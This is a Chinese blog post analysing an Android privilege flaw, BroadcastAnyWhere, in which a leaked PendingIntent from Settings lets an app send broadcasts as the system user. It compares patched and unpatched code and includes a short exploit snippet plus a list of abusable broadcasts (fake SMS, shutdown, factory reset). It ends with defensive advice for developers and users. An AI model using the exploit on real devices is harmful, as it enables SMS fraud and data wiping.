Android BroadcastAnyWhere(Google Bug 17356824)漏洞具体分析

作者:简行(又名 低端码农)

继上次Android的LaunchAnyWhere组件安全漏洞后,近期Google在Android 5.0的源代码上又修复了一个高危漏洞。该漏洞简直是LaunchAnyWhere的姊妹版——BroadcastAnyWhere。

通过这个漏洞,攻击者能够以system用户的身份发送广播。这意味着攻击者能够无视一切的BroadcastReceiver组件訪问限制。并且该漏洞影响范围极广。Android 2.0+至4.4.x都受影响。

漏洞分析

修复前后代码对照

BroadcastAnyWhere跟LaunchAnyWhere的利用原理很相似,两者都利用了Setting的uid是system进程高权限操作。

漏洞相同发生在Setting的加入帐户的流程上,该流程具体见《Android LaunchAnyWhere (Google Bug 7699048)漏洞具体解释及防御措施》一文。而BroadcastAnyWhere漏洞则发生在这个流程之前。在分析漏洞之前。 我们先来看看漏洞修复的前后对照。具体代码在AddAccountSetting的addAccount方法。

修复前代码中下:

  1. ...
  2. private static final String KEY_CALLER_IDENTITY = "pendingIntent";
  3. ...
  4.  
  5. private void addAccount(String accountType) {
  6. Bundle addAccountOptions = new Bundle();
  7. mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
  8. addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
  9. addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
  10. AccountManager.get(this).addAccount(
  11. accountType,
  12. null, /* authTokenType */
  13. null, /* requiredFeatures */
  14. addAccountOptions,
  15. null,
  16. mCallback,
  17. null /* handler */);
  18. mAddAccountCalled = true;
  19. }

修复后代码例如以下

  1. ...
  2. private static final String KEY_CALLER_IDENTITY = "pendingIntent";
  3. private static final String SHOULD_NOT_RESOLVE = "SHOULDN'T RESOLVE!";
  4. ...
  5.  
  6. private void addAccount(String accountType) {
  7.  
  8. Bundle addAccountOptions = new Bundle();
  9.  
  10. /*
  11. * The identityIntent is for the purposes of establishing the identity
  12. * of the caller and isn't intended for launching activities, services
  13. * or broadcasts.
  14. *
  15. * Unfortunately for legacy reasons we still need to support this. But
  16. * we can cripple the intent so that 3rd party authenticators can't
  17. * fill in addressing information and launch arbitrary actions.
  18. */
  19. Intent identityIntent = new Intent();
  20. identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
  21. identityIntent.setAction(SHOULD_NOT_RESOLVE);
  22. identityIntent.addCategory(SHOULD_NOT_RESOLVE);
  23.  
  24. mPendingIntent = PendingIntent.getBroadcast(this, 0, identityIntent, 0);
  25. addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
  26. addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
  27. AccountManager.get(this).addAccountAsUser(
  28. accountType,
  29. null, /* authTokenType */
  30. null, /* requiredFeatures */
  31. addAccountOptions,
  32. null,
  33. mCallback,
  34. null /* handler */,
  35. mUserHandle);
  36. mAddAccountCalled = true;
  37. }

mPenddingIntent的作用主要是作为身份识别用的。

通过前后对照。修复方案就是把放入mPendingIntent的intent。由原来简单的new Intent()改为事先经过一系列填充的identityIntent。这样做,就能够防止第三方的Authenticator(主要是针对木马)进行二次填充。后面会具体介绍。

注意PendingIntent.getBroadcast调用的參加中,在修复前传入的是一个"空"的Intent对象,这对后面的分析很关键。

PeddingIntent的实现原理

通过上面代码对照分析。假设你已经对PeddingIntent的实现细节比較清楚的话,那么这节的内容能够跳过。在PenddingIntent.java源文件里,有这么一段说明:

  1. /**
  2. * ...
  3. * ...
  4. * <p>By giving a PendingIntent to another application,
  5. * you are granting it the right to perform the operation you have specified
  6. * as if the other application was yourself (with the same permissions and
  7. * identity). As such, you should be careful about how you build the PendingIntent:
  8. * almost always, for example, the base Intent you supply should have the component
  9. * name explicitly set to one of your own components, to ensure it is ultimately
  10. * sent there and nowhere else.
  11. *
  12. * <p>A PendingIntent itself is simply a reference to a token maintained by
  13. * the system describing the original data used to retrieve it. This means
  14. * that, even if its owning application's process is killed, the
  15. * PendingIntent itself will remain usable from other processes that
  16. * have been given it. If the creating application later re-retrieves the
  17. * same kind of PendingIntent (same operation, same Intent action, data,
  18. * categories, and components, and same flags), it will receive a PendingIntent
  19. * representing the same token if that is still valid, and can thus call
  20. * {@link #cancel} to remove it.
  21. * ...
  22. * ...
  23. */

简单来说。就是指PenddingIntent对象能够按预先指定的动作进行触发。当这个对象传递(通过binder)到其它进程(不同uid的用户),其它进程利用这个PenddingInten对象,能够原进程的身份权限运行指定的触发动作。这有点相似于Linux上suid或guid的效果。另外,因为触发的动作是由系统进程运行的,因此哪怕原进程已经不存在了,PenddingIntent对象上的触发动作依旧有效。

PeddingIntent是一个Parcelable对象。包括了一个叫名mTarget成员,类型是。这个字段事实上是个BinerProxy对象,真正的实现逻辑在PenddingIntentRecored.java。从源代码分析可知。PendingIntent.getBroadcast终于调用的是ActivityManagerService中的getIntentSender方法。关键代码例如以下:

  1. public IIntentSender getIntentSender(int type, String packageName, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options, int userId) {
  2.  
  3. enforceNotIsolatedCaller("getIntentSender");
  4. ...
  5. ...
  6. synchronized(this) {
  7. int callingUid = Binder.getCallingUid();
  8. int origUserId = userId;
  9. userId = handleIncomingUser(Binder.getCallingPid(), callingUid, userId,
  10. type == ActivityManager.INTENT_SENDER_BROADCAST, false,
  11. "getIntentSender", null);
  12. ...
  13. ...
  14.  
  15. return getIntentSenderLocked(type, packageName, callingUid, userId, token, resultWho, requestCode, intents, resolvedTypes, flags, options);
  16.  
  17. } catch (RemoteException e) {
  18. throw new SecurityException(e);
  19. }
  20. }
  21. }
  22. IIntentSender getIntentSenderLocked(int type, String packageName, int callingUid, int userId, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options) {
  23.  
  24. if (DEBUG_MU)
  25. Slog.v(TAG_MU, "getIntentSenderLocked(): uid=" + callingUid);
  26. ActivityRecord activity = null;
  27.  
  28. ...
  29. ...
  30.  
  31. PendingIntentRecord.Key key = new PendingIntentRecord.Key(type, packageName, activity, resultWho, requestCode, intents, resolvedTypes, flags, options, userId); //依据调用者的信息,生成PendingIntentRecord.Key对象
  32.  
  33. WeakReference<PendingIntentRecord> ref;
  34. ref = mIntentSenderRecords.get(key);
  35. PendingIntentRecord rec = ref != null ?
  36.  
  37. ref.get() : null;
  38. ...
  39. ...
  40.  
  41. rec = new PendingIntentRecord(this, key, callingUid); //最后生成PendingIntentRecord对象
  42. mIntentSenderRecords.put(key, rec.ref); //保存
  43. ...
  44. return rec; //并返回
  45. }

总结一下这个过程。就是AMS会把生成PenddingIntent的进程(Caller)信息保存到PendingIntentRecord.Key。并为其维护一个PendingIntentRecord对象,这个对象是一个BinderStub。

PendingIntent提供了一系列的send方法进行动作触发。终于是调用PendingIntentRecord的send方法,我们直接分析这里的代码:

  1. public int send(int code, Intent intent, String resolvedType,
  2. IIntentReceiver finishedReceiver, String requiredPermission) {
  3. return sendInner(code, intent, resolvedType, finishedReceiver,
  4. requiredPermission, null, null, 0, 0, 0, null);
  5. }

跟进去:

  1. int sendInner(int code, Intent intent, String resolvedType,
  2. IIntentReceiver finishedReceiver, String requiredPermission,
  3. IBinder resultTo, String resultWho, int requestCode,
  4. int flagsMask, int flagsValues, Bundle options) {
  5.  
  6. synchronized(owner) {
  7. if (!canceled) {
  8. sent = true;
  9. if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) {
  10. owner.cancelIntentSenderLocked(this, true);
  11. canceled = true;
  12. }
  13. Intent finalIntent = key.requestIntent != null
  14. ? new Intent(key.requestIntent) : new Intent();
  15. if (intent != null) {
  16. int changes = finalIntent.fillIn(intent, key.flags); //用传进来的intent进行填充finalIntent
  17. if ((changes&Intent.FILL_IN_DATA) == 0) {
  18. resolvedType = key.requestResolvedType;
  19. }
  20. } else {
  21. resolvedType = key.requestResolvedType;
  22. }
  23.  
  24. ...
  25. ...
  26.  
  27. switch (key.type) {
  28. ...
  29. case ActivityManager.INTENT_SENDER_BROADCAST:
  30. try {
  31. // If a completion callback has been requested, require
  32. // that the broadcast be delivered synchronously
  33. owner.broadcastIntentInPackage(key.packageName, uid,
  34. finalIntent, resolvedType,
  35. finishedReceiver, code, null, null,
  36. requiredPermission, (finishedReceiver != null), false, userId);
  37. sendFinish = false;
  38. } catch (RuntimeException e) {
  39. Slog.w(ActivityManagerService.TAG,
  40. "Unable to send startActivity intent", e);
  41. }
  42. break;
  43. ...
  44. }
  45.  
  46. ...
  47.  
  48. return 0;
  49. }
  50. }
  51. return ActivityManager.START_CANCELED;

针对该漏洞我们仅仅分析broadcast这个分支的逻辑就可以。这里发现。会用send传进来的intent对finalIntent进行填充。通过前面的代码分析得到。这里的finalInent是一个“空”的intent。即mAction, mData,mType等等全为null,这使得差点儿能够任意指定finalIntent的内容。见fillIn的代码:

  1. public int fillIn(Intent other, int flags) {
  2. int changes = 0;
  3. if (other.mAction != null
  4. && (mAction == null || (flags&FILL_IN_ACTION) != 0)) {
  5. mAction = other.mAction;
  6. changes |= FILL_IN_ACTION;
  7. }
  8. if ((other.mData != null || other.mType != null)
  9. && ((mData == null && mType == null)
  10. || (flags&FILL_IN_DATA) != 0)) {
  11. mData = other.mData;
  12. mType = other.mType;
  13. changes |= FILL_IN_DATA;
  14. }
  15. if (other.mCategories != null
  16. && (mCategories == null || (flags&FILL_IN_CATEGORIES) != 0)) {
  17. if (other.mCategories != null) {
  18. mCategories = new ArraySet<String>(other.mCategories);
  19. }
  20. changes |= FILL_IN_CATEGORIES;
  21. }
  22. if (other.mPackage != null
  23. && (mPackage == null || (flags&FILL_IN_PACKAGE) != 0)) {
  24. // Only do this if mSelector is not set.
  25. if (mSelector == null) {
  26. mPackage = other.mPackage;
  27. changes |= FILL_IN_PACKAGE;
  28. }
  29. }
  30. // Selector is special: it can only be set if explicitly allowed,
  31. // for the same reason as the component name.
  32. if (other.mSelector != null && (flags&FILL_IN_SELECTOR) != 0) {
  33. if (mPackage == null) {
  34. mSelector = new Intent(other.mSelector);
  35. mPackage = null;
  36. changes |= FILL_IN_SELECTOR;
  37. }
  38. }
  39. if (other.mClipData != null
  40. && (mClipData == null || (flags&FILL_IN_CLIP_DATA) != 0)) {
  41. mClipData = other.mClipData;
  42. changes |= FILL_IN_CLIP_DATA;
  43. }
  44. // Component is special: it can -only- be set if explicitly allowed,
  45. // since otherwise the sender could force the intent somewhere the
  46. // originator didn't intend.
  47. if (other.mComponent != null && (flags&FILL_IN_COMPONENT) != 0) {
  48. mComponent = other.mComponent;
  49. changes |= FILL_IN_COMPONENT;
  50. }
  51. mFlags |= other.mFlags;
  52. if (other.mSourceBounds != null
  53. && (mSourceBounds == null || (flags&FILL_IN_SOURCE_BOUNDS) != 0)) {
  54. mSourceBounds = new Rect(other.mSourceBounds);
  55. changes |= FILL_IN_SOURCE_BOUNDS;
  56. }
  57. if (mExtras == null) {
  58. if (other.mExtras != null) {
  59. mExtras = new Bundle(other.mExtras);
  60. }
  61. } else if (other.mExtras != null) {
  62. try {
  63. Bundle newb = new Bundle(other.mExtras);
  64. newb.putAll(mExtras);
  65. mExtras = newb;
  66. } catch (RuntimeException e) {
  67. // Modifying the extras can cause us to unparcel the contents
  68. // of the bundle, and if we do this in the system process that
  69. // may fail. We really should handle this (i.e., the Bundle
  70. // impl shouldn't be on top of a plain map), but for now just
  71. // ignore it and keep the original contents. :(
  72. Log.w("Intent", "Failure filling in extras", e);
  73. }
  74. }
  75. return changes;
  76. }

从上面代码得知,我们能够任意指定除了mComponent之外的全部字段,这已经能够满足大部分的使用情景了。

漏洞利用和危害

有了前面分析,漏洞复用代码就很easy了。这里一个是发送系统开机广播的样例:

  1. // the exploit of broadcastAnyWhere
  2. final String KEY_CALLER_IDENTITY = "pendingIntent";
  3. PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY);
  4. Intent intent_for_broadcast = new Intent("android.intent.action.BOOT_COMPLETED");
  5. intent_for_broadcast.putExtra("info", "I am bad boy");
  6.  
  7. try {
  8. pendingintent.send(mContext, 0, intent_for_broadcast);
  9. } catch (CanceledException e) {
  10. e.printStackTrace();
  11. }

事实上可利用的广播实在太多了。再比方:

  • 发送android.provider.Telephony.SMS_DELIVER能够伪造接收短信。
  • 发送android.intent.action.ACTION_SHUTDOWN能够直接关机。
  • 发送com.google.android.c2dm.intent.RECEIVE广播,设备将恢复至出厂设置。
  • 等等

攻击者通过漏洞能够伪造亲朋好友或者银行电商的短信。跟正常的短信全然无异。普通用户根本无法甄别。

除了伪造短信外,攻击者能够利用该漏洞恢复出厂设置,对对用户进行威胁等等。

ComponentSuperAccessor

结合LuanchAynWhere和BroadcastAnyWhere两个漏洞,我适当的封装了一下。实现了一个ComponentSuperAccessor的库,有兴趣的朋友能够到https://github.com/boyliang/ComponentSuperAccessor.git下载。

阿里移动安全专家建议

  • 对于开发人员。PenddingIntent尽可能不要跨进程传递。避免权限泄漏。或者尽量把PendingIntent中的字段都填充满,避免被恶意重定向。
  • 对于用户和厂商,尽快升级到Android L;

Android BroadcastAnyWhere(Google Bug 17356824)漏洞具体分析的更多相关文章

  1. Android LaunchAnyWhere (Google Bug 7699048)漏洞具体解释及防御措施

    開始 近日,Google修复一个组件安全的漏洞LaunchAnyWhere(Google Bug 7699048). 这个漏洞属于Intend Based提取漏洞,攻击者利用这个漏洞,能够突破了应用间 ...

  2. Google发布SSLv3漏洞简要分析报告

    今天上午,Google发布了一份关于SSLv3漏洞的简要分析报告.根据Google的说法,该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等类似的方式(只要劫持到的数据加密两端均 ...

  3. Android电话拨打权限绕过漏洞(CVE-2013-6272)分析

    原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/ 1. CVE-2013-6272漏洞背景 CVE-2013-6272是一个安卓平台 ...

  4. broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)

    原创内容,转载请注明出处 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html Lolipop源代码已经放出有些日 ...

  5. Android“寄生兽”漏洞技术分析

    一.关于app的缓存代码 安卓的应用程序apk文件是zip压缩格式的文件,apk文件中包含的classes.dex文件相当于app的可执行文件,当app运行后系统会对classes.dex进行优化,生 ...

  6. CVE-2015-3864漏洞利用分析(exploit_from_google)

    title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...

  7. Android:你不知道的 WebView 使用漏洞

    前言 如今非常多App里都内置了Web网页(Hyprid App),比方说非常多电商平台.淘宝.京东.聚划算等等.例如以下图 上述功能是由 Android的WebView 实现的.可是 WebView ...

  8. 蓝牙App漏洞系列分析之一CVE-2017-0601

    蓝牙App漏洞系列分析之一CVE-2017-0601 0x01 概要 2017年5月的 Android 安全公告修复了我们提交的一个蓝牙提权中危漏洞,这个漏洞尽管简单,但比较有意思,能够使本地恶意 A ...

  9. 蓝牙App漏洞系列分析之二CVE-2017-0639

    蓝牙App漏洞系列分析之二CVE-2017-0639 0x01 漏洞简介 Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有 ...

随机推荐

  1. 解决:未能加载文件或程序集“System.Web.Http, Version=5.2.4.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35”或它的某一个依赖项。找到的程序集清单定义与程序集引用不匹配。 (异常来自 HRESULT:0x80131040)

    今天发布web API,调用接口报错了:未能加载文件或程序集“System.Web.Http, Version=5.2.4.0, Culture=neutral, PublicKeyToken=31b ...

  2. arx移植 及预处理器

    来源:http://bbs.mjtd.com/thread-102486-1-1.html 另,ObjectARX编程参考:http://bbs.mjtd.com/forum-14-1.html 如果 ...

  3. CAD使用SetXData写数据(com接口)

    主要用到函数说明: MxDrawEntity::SetXData 设置实体的扩展数据,详细说明如下: 参数 说明 [in] IMxDrawResbuf* pXData 扩展数据链表 c#代码实现如下: ...

  4. 梦想CAD控件 2019.05.05更新

    下载地址: http://www.mxdraw.com/ndetail_20141.html 1. 增加vs2017版本控件 2. 增加windows触摸屏支持 3. 增加手写签名功能 4. 修改PL ...

  5. Java基本输入输出

    Java基本输入输出 基本输入 基本输出 package com.ahabest.demo; public class Test { public static void main(String[] ...

  6. 一个小demo熟悉Spring Boot 和 thymeleaf 的基本使用

    目录 介绍 零.项目素材 一. 创建 Spring Boot 项目 二.定制首页 1.修改 pom.xml 2.引入相应的本地 css.js 文件 3.编辑 login.html 4.处理对 logi ...

  7. 字符串--P1308 统计单词数

    题目描述 一般的文本编辑器都有查找单词的功能,该功能可以快速定位特定单词在文章中的位置,有的还能统计出特定单词在文章中出现的次数. 现在,请你编程实现这一功能,具体要求是:给定一个单词,请你输出它在给 ...

  8. UVA-1599 Ideal Path(双向BFS)

    题目: 给一个n个点m条边(2≤m≤100000, 1≤m≤200000)的无向图,每条边上都涂有一种颜色(用1到1000000000表示).求从结点1到结点n的一条路径, 使得经过的边数尽量少,在此 ...

  9. nginx代理标准配置

    #nginx开启的进程数worker_processes   4;     #4核CPU   #定义全局错误日志定义类型,[debug|info|notice|warn|crit]error_log  ...

  10. python爬虫30 | scrapy后续,把「糗事百科」的段子爬下来然后存到数据库中

    上回我们说到 python爬虫29 | 使用scrapy爬取糗事百科的例子,告诉你它有多厉害! WOW!! scrapy awesome!! 怎么会有这么牛逼的框架 wow!! awesome!! 用 ...